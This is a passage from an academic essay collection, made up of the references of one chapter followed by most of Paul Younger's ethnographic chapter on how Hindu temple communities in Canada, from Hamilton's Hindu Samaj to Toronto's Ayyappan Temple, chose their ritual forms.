7. See Marglin 1985 for a discussion of the origins of menstrual taboos within the Hindu traditions. For more on cross-cultural constructions of menstruation and menstrual taboos, see Buckley and Gottlieb 1988 and Van de Walle and Renne 2001.
8. Aiya's argument is also documented in Dempsey 2006, 138–39. His use of scientific terminology to explain temple power is in some ways a trademark approach of his. See Dempsey 2008 and 2006 for more reflections on the use and meaning of science in the temple context.
References
Brooks, Douglas Renfrew. 1992. _Auspicious Wisdom: The Texts and Traditions of Śrīvidyā Śākta Tantrism in South India._ Albany: State University of New York Press.
Buckley, Thomas, and Alma Gottlieb. 1988. _Blood Magic: The Anthropology of Menstruation._ Berkeley: University of California Press.
Clothey, Fred W. 1992. "Ritual and Reinterpretation: South Indians in Southeast Asia." In _A Sacred Thread: Modern Transmission of Hindu Traditions in India and Abroad,_ edited by Raymond Williams, 127–46. Chambersburg, Penn.: Anima.
Coward, Harold. 2000. "Hinduism in Canada." In _The South Asian Religious Diaspora in Britain, Canada, and the United States,_ edited by Harold Coward, John Hinnells, and Raymond Brady Williams, 151–72. Albany: State University of New York Press.
Coward, Harold, and David Goa. 1987. "Religious Experiences of the South Asian Diaspora in Canada." In _South Asian Diaspora in Canada: Six Essays,_ edited by Milton Israel, 75–90. Ontario: Multicultural Historical Society.
Dempsey, Corinne. 2006. _The Goddess Lives in Upstate New York: Breaking Convention and Making Home at a North American Hindu Temple._ New York: Oxford University Press.
———. 2008. "The Science of the Miraculous at an Upstate New York Temple." In _Miracle as Modern Conundrum in South Asian Religious Traditions,_ edited by Corinne Dempsey and Selva Raj, 119–38. Albany: State University of New York Press.
Eck, Diana. 2001. _A New Religious America: How a "Christian Country" Has Now Become the World's Most Religiously Diverse Nation._ San Francisco: HarperCollins.
Khanna, Madhu. 1979. _Yantra: The Tantric Symbol of Cosmic Unity._ London: Thames & Hudson.
Kishwar, Madhu. 2000. "Yes to Sita, No to Ram! The Continuing Popularity of Sita in India." In _Off the Beaten Track: Rethinking Gender Justice for Indian Women,_ edited by Madhu Kishwar, 234–49. New York: Oxford University Press.
Leonard, Karen Isakson. 1993. "Ethnic Identity and Gender: South Asians in the United States." In _Ethnicity, Identity, Migration: The South Asian Context,_ edited by Milton Israel and N. K. Wagle, 165–80. Toronto: University of Toronto Centre for South Asian Studies.
———. 1997. _The South Asian Americans._ Westport, Conn.: Greenwood.
Manjul, V. L. 2002. "Backed by Scripture, Girls Get Their Sacred Thread." _Hinduism Today,_ December 31.
Marglin, Frederique Apffel. 1985. "Female Sexuality in the Hindu World." In _Immaculate and Powerful: The Female in Sacred Image and Social Reality,_ edited by Clarissa Atkinson and Constance Buchanan, 9–60. Boston: Beacon.
Narayanan, Vasudha. 1992. "Creating the South Indian 'Hindu' Experience in the United States." In _A Sacred Thread: Modern Transmission of Hindu Traditions in India and Abroad,_ edited by Raymond Williams, 147–76. Chambersburg, Penn.: Anima.
Van de Walle, Etienne, and Elisha Renne. 2001. _Regulating Menstruation: Beliefs, Practices, Interpretations._ Chicago: University of Chicago Press.
Vertovec, Steven. 2000. _The Hindu Diaspora: Comparative Patterns._ London: Routledge.
Waghorne, Joanne Punzo. 1999. "The Hindu Gods in a Split-Level World: The Sri Shiva-Vishnu Temple in Suburban Washington, D.C." In _Gods of the City: Religion and the American Urban Landscape,_ edited by Robert A. Orsi, 103–30. Bloomington: Indiana University Press.
Williams, Raymond. 1992. "Sacred Threads of Several Textures." In _A Sacred Thread: Modern Transmission of Hindu Traditions in India and Abroad,_ edited by Raymond Williams, 228–57. Chambersburg, Penn.: Anima.
## Hindu Ritual in a Canadian Context
PAUL YOUNGER
During the last 150 years, new Hindu communities have come into being in many different parts of the world. This development started in 1838 when the British began sending Indian laborers to other parts of their empire, and significant Hindu communities were established in Mauritius, Guyana, Trinidad, South Africa, Fiji, and East Africa (Brown 2006; Younger 2010). After the colonial era ended, a second wave of emigrants began to leave India and settle voluntarily in Europe and North America. Those emigrants are now forming Hindu communities as well (Vertovec 2000; Brown 2006). In Canada there are now more than a half million Hindus and hundreds of temple communities.
Scholars have not found it easy to figure out how to study these new Hindu communities. One line of inquiry followed by a variety of social scientists has concentrated on the pattern of community formation and has asked only tangentially how Hindu religious practice affects the formation of the community (Israel 1994; Vertovec 2000; Kurien 2007). Starting from a very different perspective, scholars who have studied Hindu ritual in India shift their research to one or more of these new locations and describe the temples that are being built, the religious specialists who have emerged, and the Hindu rituals that are found in these new settings (Williams 1988; Narayanan 1992; Pechilis 2004; Waghorne 2004; Dempsey 2006). In this essay I bring these two lines of inquiry together. I ask whether there are ways in which the social characteristics of a diaspora community help explain the ritual decisions a certain segment of that community makes. Or, looked at from the opposite side, whether the type of ritual choices temple communities make reveals anything about the role that a worshiping community will develop for itself in the new social setting.
In the context of this inquiry, "ritual" is taken to refer to the religious practices of a legally constituted body of worshipers or a temple community. Because in Canada religious communities are so clearly defined, freelancing gurus are not as prominent as they are in India, and the individual styles of "spirituality" for which India is known are hidden from view by the commitment people make to their temple community of choice. That commitment itself is in some ways a new form of Hindu religiosity, but for the sake of this inquiry we will take that as a given framework of Hindu practice in Canada and ask what ritual styles local communities have chosen to establish within that framework.
The Social Setting
Canada evolved into nationhood gradually, over a fairly long period of time. The early French adventurers developed a working relationship with many different groups of native people, and they moved far and wide across the continent before settling primarily in Quebec. Somewhat later, English-speaking communities settled on the land, first in the geographically limited areas of the east coast and later further inland in what they called Upper Canada or what is known today as Ontario. By 1867 the French and English had the good sense to form a confederation, and the new political entity was in a position to push a railway to the west coast and invite other immigrant groups to help populate this vast territory. Because of this history, the "imagined community"1 of Canada emphasizes its ethnic plurality and the "openness" of the land, and immigrants from the beginning have been encouraged to develop their own style of life.
In the political context of the early twentieth century, the open invitation to immigrants was destined to suffer a temporary setback. In order to finish the railway, Chinese laborers were brought in in large numbers, but when that task was finished there was great confusion as to whether or not the Chinese would be allowed to stay. Soon after the railway was completed, Queen Victoria's Sikh honor guard was brought back from her golden jubilee of 1887 along the newly opened railway, and the members of the guard fell in love with the prospects of the still largely uninhabited west coast. Within a few years, thousands of Sikhs immigrated and were soon an important part of the forest industry and the early agricultural endeavors of British Columbia.2 By 1914, however, the colonial authorities in Great Britain were panicking about what appeared to be a growing possibility of war with Germany, and they insisted that the Canadians look for German influence in the political activity of the Sikhs on the west coast.3 In actions that now seem regrettable to Canadians, the authorities of the day responded by cutting off the immigration of both Chinese and Sikhs. It would be a half century before that anomaly was corrected and immigrants from those two communities once again became major parts of west coast society.
Correction of the immigration policy occurred in 1967 when the Pierre Trudeau government pushed through legislation removing all country-of-origin considerations from the policy. Because Canada was undoing decisions made earlier in the century, and because Chinese and Sikhs were poised and ready to renew the development of their earlier settlements, the changes that occurred in Canadian society after 1967 were far-reaching. Within a generation of those changes, Canadians had come to imagine themselves as a nation in which new immigrants constituted the most energetic segment of the population and essentially the fourth part (along with Aboriginals and French- and English-speakers) of the multicultural confederation.
People from every area of the globe flooded into Canada under the new immigration policies, and there was no "Hindu immigration" as such (Bramadat and Seljak 2005; Coward 2000; Younger 2012). Hindus came from many different parts of the world, and it was only after they discovered Hindus from other locations among their neighbors that they began to be curious about the idea of forming a Hindu community. Many founders of temple communities proudly describe how indifferent to religion they had been during their youth and how they discovered their need for religion in this new setting. In this setting Hinduism in its traditional ritual forms was not so much brought into Canada; rather Hindu immigrants somehow formed themselves into communities and then set about establishing new ritual forms.
Among the first immigrants to arrive were an exceptionally large number from Guyana. The Canadian immigration law changed just as the oppressive Forbes Burnham government took over monopoly power in Guyana and a large percentage of the better educated among the population found it easy to get work in Canada. A bit later a similar flood arrived from East Africa after Idi Amin expelled Indians from Uganda in 1972 and Indians all over East Africa became nervous about their future. By the 1980s Tamils fleeing the civil war in Sri Lanka began to arrive and eventually became the largest single block of Hindus in the country. Because of the refugee-like nature of the migrations from Guyana, East Africa, and Sri Lanka, these three communities have tended to remain semiseparate segments of Hindu society. This kind of self-separation has, in turn, influenced the decentralized pattern that characterizes the whole Hindu community of Canada.
Another important factor influencing the way Hindu communities were formed after the enactment of the new immigration laws of 1967 was the aggressive style of the Sikh leadership. The Khalsa Diwan Society, established in Vancouver in 1908, continued to provide leadership for Sikh immigrants, who once again began arriving in large numbers.4 Partly because of the disappointment associated with the fact that immigration had been denied to Sikhs between 1914 and 1967, Khalsa Diwan Society leaders not only managed the _gurudw āra_s or temples but also encouraged new Sikh immigrants to become active in politics and to insist that wearing turbans and carrying _kirpin_ s (daggers) was their religious right. Hindus were puzzled by the new Sikh insistence on putting a distance between themselves and their Hindu neighbors, and after an Air India plane was apparently bombed by Sikh advocates of a separate homeland in 1985, Hindus became more certain than ever that they did not want the type of bold and controversial leadership the Sikhs had.
Some Hindu immigrants, of course, began informal ritual practice as soon as they arrived, and there are many stories of home altars (Gunn 2007; Pearson 1999), local _bhajan_ (devotional singing) groups, and semipublic celebrations of festivals in schools and churches during the early years. Temples as such only began to be discussed when people realized that marriages could not be held without provincial permission. Provincial authorities, however, quickly made clear that marriages could be conducted by anyone provided they were designated as "clergy," and that designation could be made by any legally constituted board representing a group that considered itself a religious community. Because this process for licensing someone to perform weddings involved no prior theological considerations and involved no national religious body, Hindus in different localities began to form into groups and define themselves as a temple community. While the democratic nature of this procedure was totally new to the immigrants at first—and led to some awkward moments as people learned how to discuss issues of a religious nature and how to compromise—it was the legal basis for establishing a temple community in Canada and soon became the way in which Hindus decided their ritual forms.
Ritual Choices
_Hindu Samaj: Community Temple Ritual_
A fairly typical example of the discussions about ritual that took place in the early community temples of Canada can be seen in the Hindu Samaj of Hamilton, which opened for worship in 1976.5 Hamilton is a major industrial city on the western end of Lake Ontario. The first notable Hindu presence in the city came with the arrival of the family of Om Prakash Bhargava in 1963 when he took up work as an engineer in a steel company. He was a religiously well-educated North Indian Brahman, and his mother, while unable to speak English, was revered by the community of Indians. For years she held the picture of Lakṣmī while others performed _ā rati_ (the waving of lights) to the image or reverentially held a tray of camphor lights in front of it. The following year, a husband-and-wife team of Indian physicians moved to the city, Hindu professors were hired in metallurgy, electrical engineering, and applied mathematics, and two professors began teaching Hinduism at McMaster University. During the mid-1960s, the Indo-Canadian Society served as the institutional base of this community, which included Sikhs, Muslims, and Syrian Christians from Kerala as well as Hindus, and arranged the worship experiences and dramas for a host of Indian festivals. After the changes in immigration law in 1967, the two steel companies in the city hired large numbers of Guyanese and Punjabis, and the community suddenly expanded. By the end of the decade, Sikhs and Muslims were busy forming a local _gurudw āra_ and mosque, respectively, and the Hindus set about hesitantly talking about a temple.
The formation of a Hindu community was not easy. The great majority of laborers initially expected the Brahmans and professors who had been leading the Indo-Canadian Society to continue in that role. That group was suddenly divided, however, between those of South Indian background, who had specific ritual requirements in mind, and those from North India, who spoke for the majority who wanted a Hindi-speaking priest and a minimal amount of ritual. A compromise was eventually reached when the board designated S. V. Subramanian, a Brahman metallurgy professor from the South, as the worship leader and then hired a Hindi-speaking priest. Today there are South Indian ritual specialists brought in for the installation of images, and the priest is required to follow a daily routine in the feeding, bathing, and worshiping of the deity images. On the other hand, a casual weekend visitor to the temple would come away remembering the robust Hindi-language _bhajan_ singing that takes place on Sunday afternoon and the shared meal that follows the worship. During this congregational-style service, the elected lay leaders make numerous announcements and try to cultivate the informal sense of community or _sam āj_ of which the temple is proud.
Once the South Indian/North Indian differences in the community were recognized and satisfactorily sorted out, the community began to resolve its other differences over ritual in a consciously generous and inclusive way. Smaller segments of the community, such as those from Guyana and Gujarat, were given prominent roles on the board, and a lay leader from Guyana now conducts an English-speaking worship service on Sunday morning before the longer afternoon service in Hindi. Discussions about which deities were to be worshiped were long and careful. The building in which the temple was first housed had once served as a church, and the sanctuary was a long rectangular hall. Initially the community hung pictures of various deities along a long side wall. After some time it decided that there should be five separate shrines of roughly equal size but slightly different architectural style constructed along that wall. The final result is that a large, black granite Gaṇeśa from South India is on the worshiper's left, followed by white marble images from North India of Rām/Sītā, Kṛṣṇa/Rādhā, and Durgā, with a granite _li ṇga_ (a kind of icon) of Śiva, once again from South India, is on the far right. For the major Sunday afternoon worship, only a brief _p ūjā_ (worship service) is conducted by the priest at each of the deity shrines as he presents the worshipers' offerings, and at the end of the service the congregation lines up in five separate lines to perform _ā rati_ at each of the shrines, with many worshipers performing it for a number of different deities and a few for all five.
The Hindu Samaj is still the only Hindu temple in Hamilton, and the compromises the community made about ritual when it was first established seem to have proved satisfactory to a large and diverse worshiping community. Most medium-sized cities across Canada have similarly established "community" temples, and the ritual decisions made in those cases were much the same as those made at the Hamilton temple. While one hears about hard-fought elections and some disputes within the temple boards, in all cases of which I am aware, the democratically elected board has remained in charge and a regular process of renewal within the leadership has taken place. There is a distinct ritual conservatism in these community temples, and when after 9/11 the Hindu Samaj was burned to the ground in an act of arson, new images of exactly the same five deities were installed in the new building.
This community-style temple ritual entails a very marginal role for the priest, who is usually brought from India and seldom stays more than five years (Sekhar 1999). In some smaller cities, hiring a priest at all proved too cumbersome, and a variety of laypersons have taken over the priestly role. In this setting ritual is defined as "the religious practice that the board determines," and no claim of "authenticity" or direct link with Indian practice is made. The prevailing attitude seems to be that ritual provides a sacred center to the life of the community, and, while it is recognized that the ritual was determined by the founding membership, it is now treated as authoritative.
_Vishnu Mandir: Guyana Temple Ritual_
When laborers were first taken to Guyana in 1838, the freed West African slaves were just moving from their plantation slave quarters to settlements they established at the edge of each of the many plantations. Many of these newly freed slaves were already Christian, but in the settlements they were able to establish locally built churches. After five or ten years on indenture contracts, the Indians were also free to move into the settlements, and they quickly established _mandir_ s (Hindu temples) very similar to the nearby churches. The pandits who led the worship in the _mandir_ s were from traditionally educated Brahman families and could recite and sing from the Tulsīdās Rāmcaritmānas, so the Sunday morning services they conducted were similar to those in the churches nearby in that they centered on story recitation ( _kath ā_) or a sermon based on a verse from their scripture _._ The congregation gathered at the feet of the pandit, who sat on an elevated _ā sanam_ (throne), and, after a time of singing _bhajan_ s, he would deliver his _kath ā._ On his right a collection of donated images were grouped together, and, at the end of the _kath ā,_ prayers were addressed to the group as a whole. During the rest of the week, there was seldom worship in the _mandir_ (Younger 2004, 2010).
The worship system of the Vishnu Mandir in the Richmond Hill suburb north of Toronto is an interesting example of a number of Guyana-style temple rituals introduced into Ontario. In this case an experienced pandit from a prominent family of pandits in Guyana was hired as a heart surgeon in 1975, and he immediately set out to be a leader who could represent Hinduism in the Canadian context. Dr. Bhupendranath Doobay started by establishing a television program called _The Voice of the Vedas_ in 1976 and quickly joined the Canadian branch of the Hindu Temple Society of North America, which had from 1972 on been formulating plans for a temple in Richmond Hill. When Doobay realized that all the plans of that group involved building authentic South Indian Brahman temples with priests from South India, he decided to move forward on his own. By 1981 he had bought a prominent piece of land on the edge of Toronto and built the Vishnu Mandir on Yonge Street in Richmond Hill. In 1987 he continued his controversial leadership by leading a _y ātra,_ or public protest march, from his temple to a school board meeting in nearby Scarborough, where he demanded that they name a school after Mahātma Gandhi and erect a statue there. The school board denied the demand, but, more important, most Hindus criticized Doobay for trying to "represent" them in that public way.6 From then on his leadership efforts were focused primarily on the community from Guyana.
In spite of his controversial style, Guyana Hindus found the leadership Doobay offered as a pandit to be familiar, and they quickly helped him make his temple one of the most prominent in the city of Toronto. Although he adamantly insisted that the worship was "Vedic Hinduism" and hired assistant priests from Banaras, the style of worship one finds in Vishnu Mandir is a reproduction of that which one would find in Guyana, along with some added touches from the "megachurch" traditions of North America. The six- or seven-hundred-strong congregation gathers on Sunday morning at the feet of Doobay for an extended time of music, homily, and worship in English. He sits on a huge _ā sanam_ throne fitted with microphones and light dimmers. An orchestra is in the front rows, and a computer operator sitting beside the _ā sanam_ projects a constant stream of scripture verses, musical lyrics, and announcements onto the overhead screen. Doobay leads the music, quotes extensively from the Rāmcaritmānas and sometimes other scriptures, makes all the announcements, and generally conducts an extended homily for more than two hours. At the end of that time, he announces plans for the worship of the images. The pattern of image worship seems to vary from week to week. I once saw a full _abhi ṣeka_ (form of ritual bathing) of the Viṣṇu image, with the priest from Banaras reciting all the chants and Doobay pouring the water. More commonly worshipers are invited to take their offerings from the offering table where they sit during the homily and place them before one or another of the seven or eight images (of differing sizes) placed around the altar area. (The South Indian images of Viṣṇu and Ayyappan are treated differently in that only priests go to the corner of the altar where they have recently been installed.) Finally, usually after an interlude of music, everyone is invited to participate in _ā rati,_ and people go to the front of the altar and then to Doobay, who stands beside the _ā sanam,_ with their tray of camphor flame.
In a Guyana temple, there is a strong sense of community, but it is a sense established some generations past in the Caribbean (Trinidadians also worship in these Guyanese-led _mandir_ s) and not one developed with new partners in Canada. It is the pandit who defines the ritual, and he is free to make changes in the ritual even as the worship is taking place.
_Ganesha Temple: From Brahmanic Ritual to Sri Lankan Community Ritual_
The Ganesha Temple was started in 1984 by a small group of South Indian Brahmans. As we have already noted, they began their discussions in 1972 as part of the Hindu Temple Society of North America, and in many ways they were influenced by the vision of that group, which wanted to provide temples that would "show" North American society what the most "authentic" Brahmanic Hindu rituals were like. While in the United States that vision had a major influence on the development of Hinduism and major temples were established by the group in Flushing (Queens, New York), Pittsburgh, Houston, and other places (Hanson 1999; Eck 2001), in the Ganesha Temple in Richmond Hill, that vision disappeared soon after the doors of the temple were opened. What happened in Toronto was that by the mid-1980s a flood of Sri Lankan refugees had begun to pour into the country, and they quickly became the majority on the board of the Ganesha Temple. After major quarrels most of the original founding members of the temple board eventually left the temple management to the Sri Lankans.
The original plan of the temple was to establish a close replica of the South Indian temple style with a high surrounding wall enclosing a network of open walkways or _prak āra_s and a large number of separate shrines housing individual deities. The arrangement of the deities for the Ganesha Temple was determined by the _ā cārya_ (leader) of the Kāñīpuram monastery in India. There are two full _vim āna_s (sacred towers) that project out through the roof to the outside, one on the left as one enters for Kārttikēya or Murukan_ and one on the right for Viṣṇu in the form of Veṇkatēsvara. In the center, and in line with the main _gōpura_ (gateway tower), is the shrine of Gaṇeśa or Vināyakan_. To the left of Kārttikēya is the rest of the Śiva family, with separate shrines for the _li ṇga_ form of Śiva, for Pārvatī, and for Natarāja. Across the major walkway, there is a larger shrine for Durgā that faces north in the auspicious direction. On the Viṣṇu side, in addition to the main shrine, there are separate shrines for the consorts Devayanai and Valli. The _naiv ēdya_ (feeding), _abhi ṣeka_ (bathing), and _d īpa_ (showing of the camphor lights) are done four times each day for each of these deities, with the evening rituals accompanied by live temple music. The original Brahman temple priests were brought from Madurai, with two specifically assigned to the Viṣṇu deities and six or so to the Śaiva deities.
Ganesha Temple central shrine. Photograph by the author.
The ritual practices of the temple remind one very much of the worship practices of Brahman temples in South India and Sri Lanka. Families arrive during auspicious hours (normally 8 a.m.–1 p.m. and 4–9 p.m. daily), buy _archana_ (prayer) tickets of various kinds at the front window, and take them along with their other offerings to a priest at the deity shrine or shrines of their choice, where special prayers or other rituals are performed specifically for them. Having adorned themselves with sacred ash and _ku ṇkum_ (red powder) and having received the blessing of the deity's camphor flame, holy water, and _pras āda_ (sacred food), they prepare to go home.
In addition to the daily ritual, the temple takes great pride in providing ritual for a couple dozen festivals each year. On a half dozen occasions, these are ten-day celebrations, and on two of these they pull the deities around the outside of the temple on great wooden chariots. On these occasions crowds fill the temple corridors, and the festivities often go way into the night. In the festival the deity is transformed into the _utsava,_ or movable form, usually in a small image, and is carried into the life of the worshiping community. Because of the cold of Canada, the temple is enclosed in this case, but the openness of the _prak āra_s (walkways) makes it possible to imagine the deities on extended trips that enable them to share in the life of the worshipers.
Because the vast majority of the worshipers are Sri Lankan and a majority of the priests are still from India, there are sometimes disagreements on how a festival should be conducted. In 1994 I witnessed a sharp disagreement during the major ?rdrā Darśana festival. Part of that festival involves the fifth-century saint Māṇikkāvacakar singing his hymns for Śiva.7 In Cidambaram and other places in South India, an _ōtuv ār_ or traditional singer is dressed up as Māṇikkavācakar and, after considerable ceremony, sings each of his twenty hymns interspersed with other ceremonies. In the Ganesha Temple in 1994, an elderly _ōtuv ār,_ who no longer sings regularly, was dressed by the priests and ceremonially made into Māṇikkavācakar. In Sri Lanka women usually sing these songs because they express the lovelorn longing of women for the deity, so after the first hymn, the _ōtuv ār_ handed the songbook to a Sri Lankan woman standing beside him. The priests were appalled and stopped the ceremony for a considerable amount of time while negotiations took place among members of the board. Because the vast majority of the worshipers are now Sri Lankan and they control the board, the festival resumed after some time, and the classically trained woman sang the hymns with great beauty (Younger 2002).
While the ritual details of the Brahmanic practice of the temple might appear to be unchanged after the Sri Lankans took over the board in the 1980s, the overall tone of the ritual has been altered in a number of important ways. There is a fundamental difference between the ritual intentions of the original board that wanted to "show" the Canadian public what Hindu ritual was like and the present board that wants to provide a ritual center for the far-flung Sri Lankan Tamil community. The bitterness between these two perspectives is great, and the Sri Lankans regularly express the view that if the original board had not been so concerned with having a grand entrance facing busy Bayview Avenue, the temple and deities would face east in the religiously appropriate direction rather than west. The new board is now hiring Sri Lankan priests, and the festival activities are modified each year with the interests of Sri Lankans in mind. Even in the daily ritual, a Sri Lankan woman now sings a hymn after the evening _abhi ṣeka_ is finished at each shrine, and the worshipers touch her feet and honor her as a member of their community. Although the ritual of this temple is still elegantly Brahmanic in some important ways, the ritual system of the temple is gradually being transformed so that it can serve as a community temple of the Sri Lankans at the same time.
_Vaisno Devi Temple, Sanatana Mandir, and Hindu Sabha: New Ethnic Community Temples_
After the first excited wave of immigrants had settled into Canada under the new legislation of 1967, a somewhat different style of immigration began as family and ethnic groups sponsored their friends, and a second wave of immigrants came to join those who were already settled down. To some extent this second wave of immigration allowed subgroups an opportunity to cluster together in the different suburban regions that surround Toronto. In this new setting, some groups organized themselves around their culture of origin and began to think of new temple communities designed with their subculture in mind. We will discuss the ritual patterns in three temples of this type that were built between 1991 and 2001.
The first example is the Vaisno Devi Temple, which was opened in 1991 on the outer edge of Oakville, the suburban city to the west of Toronto that has the highest per capita income of any city in Canada. This temple is sometimes spoken of as a Punjabi temple because a Punjabi donor put up much of the money for the original construction and insisted that the central deity be the powerful pilgrimage goddess popular in the Punjab. Even though the temple had a major donor, an elected and legally constituted board in the style of Canadian temples officially manages it. What is different about the management is that the priest from the Punjab, who was chosen by the original donor and has been there now for almost twenty years, is responsible for financial management and is expected to make the final ritual choices after hearing from the board.
Given the differences at the management level, it is a bit surprising to see how indebted the ritual choices made in this location are to those made a decade earlier by temples such as the Hindu Samaj and the Vishnu Mandir. The main worship takes place on Sunday afternoon and culminates in a community meal much as it does in the Hindu Samaj. On the other hand, in a way reminiscent of the Vishnu Mandir, the priest makes all the announcements and even plays a major role in leading the music, and it is his assistant who does the _p ūjā_s for the various deities as the singing takes place. Although the priest is now quite comfortable in English and uses English for most of the announcements, he goads his upper-class westernized congregation regularly about the need to learn Hindi and always presents his _kath ā_ or sermon in Hindi.
As the issues already discussed show, the ritual choices of this temple are similar to those of early community temples in that the interests of the lay members of the congregation determine the overall ritual direction. On the other hand, the priest enjoys the support of a homogeneous congregation and operates more like the Guyana priests in making ritual decisions that give the temple a distinct and singular ritual focus. Even though the major donor had wanted the focus of worship to be on the goddess Vaiṣṇo Devī and the board had agreed to give the temple that name, the congregation wanted to worship a number of different deities. The ritual arrangements finally made were that all the deities are grouped together and elevated on a stage two steps above the rectangular congregational area, an image of Vaiṣṇo Devī—twice the size of the others—is placed in the center directly in front of the steps, and the other deities are arranged in a semicircle around her in accord with the natural or clockwise pattern of worship. As one moves around the semicircle, Gaṇeśa and the Śiva _li ṇga_ come first, then Viṣṇu/Lakṣmī, Kṛṣṇa/Rādhā, at the far back a Nātha or ascetic sage revered by the major donor, then Hanumān, and finally Rāma, Sītā, and Lakṣmaṇa on the congregation's right. All the images are made of marble, and the adornment of the images at a given time is much the same so that they appear as one community of divine representatives. In the performance of _ā rati,_ worshipers go only to the base of the stage, and the reverence of the camphor lights is directed toward the divine company as a unit.
Because the decision was made from the beginning to worship all the images together and not use a separate worship tradition for the Vaiṣṇo Devī image, the temple came to be known for its contemporary style of worship, and no mention is made about "authentic" worship of the Devī. The socializing among the well-off congregation both in the congregational hall and the dining area in the basement is notable and clearly one of the major motivations for attending this congregationally centered place of worship. Even the priestly leadership is clearly focused on meeting the needs of the current congregation, and the priests are now known primarily for the large number of weddings they perform.
The second example of the new ethnic community temple is the Sanatana Mandir of the Gujaratis opened in 1995. The Gujarati percentage in the Hindu population of Canada is smaller than it is in the United States, and during the first wave of immigration, most Gujaratis fit into the local temple communities in a helpful minority role. As time went on and the number of immigrants from both East Africa and India increased, the wealthier Gujarati business families tended to congregate in Markham, a suburb to the north of Toronto, so that they could assist one another in their far-flung business enterprises. In 1995 they built their major community center there with a relatively modest temple attached. The community center has a vast parking lot and half a dozen halls where weddings, conventions, and other community activities can be held.
The priest on duty in the temple acknowledges that the community center management largely leaves him to perform the rituals as he learned them as a child in Gujarat. The management does expect him to include in his ritual routine worship of the donated statues of Mahāvīra, Swāminarayan, Gandhi, and Hanumān, and he has placed them on the outer edges of the row that originally had only Gaṇeśa, Viṣṇu, and a goddess. During the week a folding wall closes this area off so that only a single row of worshipers can sit briefly for worship, but on the weekend and during festivals the wall is folded back, and the deity images become part of one of the large meeting rooms.
The most dramatic ritual innovation in the temple is the celebration of the Raas Garbha dances during Navarātri in early October each year. Based on an old Gujarati custom, in which girls go to their neighbors' gardens with a pot symbolizing the goddess and do a circular dance, the Sanatana Mandir dances involve thousands of males and females banging on sticks and dancing for hours to live folk music supplied by professional bands. The community hall is designed so that these dances can go on in a number of halls at the same time, and on the last of the nine nights, the whole exercise is moved to the arena at the Canadian National Exhibition grounds so that ten thousand elegantly dressed dancers can take part. For Gujaratis in Canada, that celebration at the exhibition grounds provides a powerful sense of community. The brief ritual to the goddess that precedes the dance gives it a thread of ritual legitimacy and a sense that this ritual dance keeps the community grounded in religion and its ethnic heritage.
The third example of a temple of this type is the Hindu Sabha, which is now the most prominent temple for Hindi speakers or North Indians in Canada. The worshiping community with that name goes back to 1975, but the community met in rented locations for years. The land it had purchased west of Toronto for its temple increased dramatically in value over the years, and just as the temple was opened in 2001, malls and elegant houses went up on every side of it. The temple building itself is modernistic and does not immediately remind one of a traditional Indian temple. Inside is a huge hall with the deities arranged in a tableau of three tiers with Viṣṇu/Lakṣmī high above, Rām/Sītā/Lakṣmaṇa and Kṛṣṇa/Rādhā in the middle tier, and the Śiva _li ṇga,_ Durgā, and Hanumān in the front at a lower level. Worshipers are able to approach only the three at the lower level for individual worship and normally sit back toward the middle of the hall and view the whole divine assembly. In contrast to the sense of awe that one has in the large hall, a cavelike walkway has been provided behind the divine tableau, and along this popular walkway, there are a half dozen opportunities to worship (a _li ṇga,_ some sages, epic murals, and so forth) at close range.
The temple has large entrance corridors and places for shoes and coats, and it was clearly designed to be able to handle a large number of worshipers coming and going. There is a steady flow of worshipers throughout the day, many of whom are commuters. When the expensive housing went up around the temple, many Sikhs moved in, and it is now common to see Sikhs walking to the temple for a brief prayer. Few worshipers seem to know one another, and the expectation is simply that in the hurried context of an urban world, an up-to-date style of Hindu worship is available. The cluster of priests who are brought from India on a rotating basis provide the prayers worshipers request, and the efficient board manages the temple through its office staff. On Sundays at noon, the board itself can be seen sitting in a circle in the main hall counting the money for the week before it holds its regular meeting.
Hindu Sabha. Photograph by the author.
This temple more than any other in Canada has accepted the Canadian government's assurance that any community is free to worship in any way it chooses as long as it has a board to determine how that worship will be arranged. This board thinks of itself as part of the "new India" and wants the urban commuters who worship there to feel that the heritage of the deities displayed in the dramatic tableau at the front of the hall can be appropriated without the anachronistic rituals of village India. The sense of reverence worshipers feel as they make their quick trips to this temple is a general one that is not focused on a specific image or deity, but it does give grounding to their busy lives, and they appear to be thankful that they can have that grounding in an aesthetically pleasing atmosphere.
_The Ayyappan Temple and the Ati Para Sakti Temple: The Storefront Ritual Style_
By the beginning of the present century, the majority within the Indian community was feeling comfortable in the Canadian environment. Partly because others were doing so well, those within the Tamil community from Sri Lanka were socially uncomfortable and concerned about the problems within their community. A whole generation within the Tamil community of Sri Lanka had grown up in the middle of the civil war between the Liberation Tigers of Tamil Eelam (LTTE), or Tamil Tigers, led by Velupillai Prabhakaran and the Sinhala-led government. For this generation the Tamil school system hardly functioned, and most youths served for years in the Tiger military. Once these refugee families arrived in Canada, mothers were usually successful in winning their daughters' loyalty back from the LTTE and sending them off to school, but the poorly educated men found it hard to get work, and many formed gangs of friends with whom they could pass the time. For those from Vēḷāḷa or landlord caste backgrounds, the rituals of a Brahman temple such as the Ganesha Temple were appealing; but for the majority with other caste backgrounds, the grandeur of that temple actually made them realize how much they missed the other worship traditions of Sri Lanka. These restless members of the community stopped going to temple altogether for a time before some among them realized how easy it was to form temple communities of their own in Canada. It was not long before dozens of small storefront temples sprang up in the Scarborough area of Toronto, where Sri Lankans are concentrated. The two that I describe below are among the more successful of this new style of temple worship.
The first example is the Ayyappan Temple opened in 1999. A Nair caste gentleman from Kerala had been in Canada for some years when he observed that there were temples going up on every side, but there was no place to worship Ayyappan_, the mountain deity of central Kerala. He bought an abandoned farm on the eastern edge of Toronto and turned the cattle shed into a temple for Ayyappan_. The Tamil priest he hired to care for the deity had been on the arduous pilgrimage to the forest shrine of Ayyappan_, to which about ten million South Indian males go during a forty-day period in January–February each year. Within a few blocks of this farm temple is the area of Toronto where the refugee immigrants from Sri Lanka are concentrated and where, by 1999, many of the young Sri Lankans who had served with the LTTE in Sri Lanka were getting involved in crime. The youth began visiting this unusual temple setting, and it was not long before a bond developed between the priest of this traditionally male-centered cult and the restless youth with military backgrounds. The priest of the temple recognized the social problems of the Sri Lankan youth, and he challenged them to try the arduous yearly pilgrimage to the home shrine of Ayyappan_ high in the Kerala mountains. Soon a vigorous, youthful male clientele was crowding into his small temple, and seventy to a hundred of them were preparing yearly for the pilgrimage, a pilgrimage that entails strict vows, severe ascetic behavior practiced by a group, and a final, male-only trek to the mountain shrine (Younger 2002).
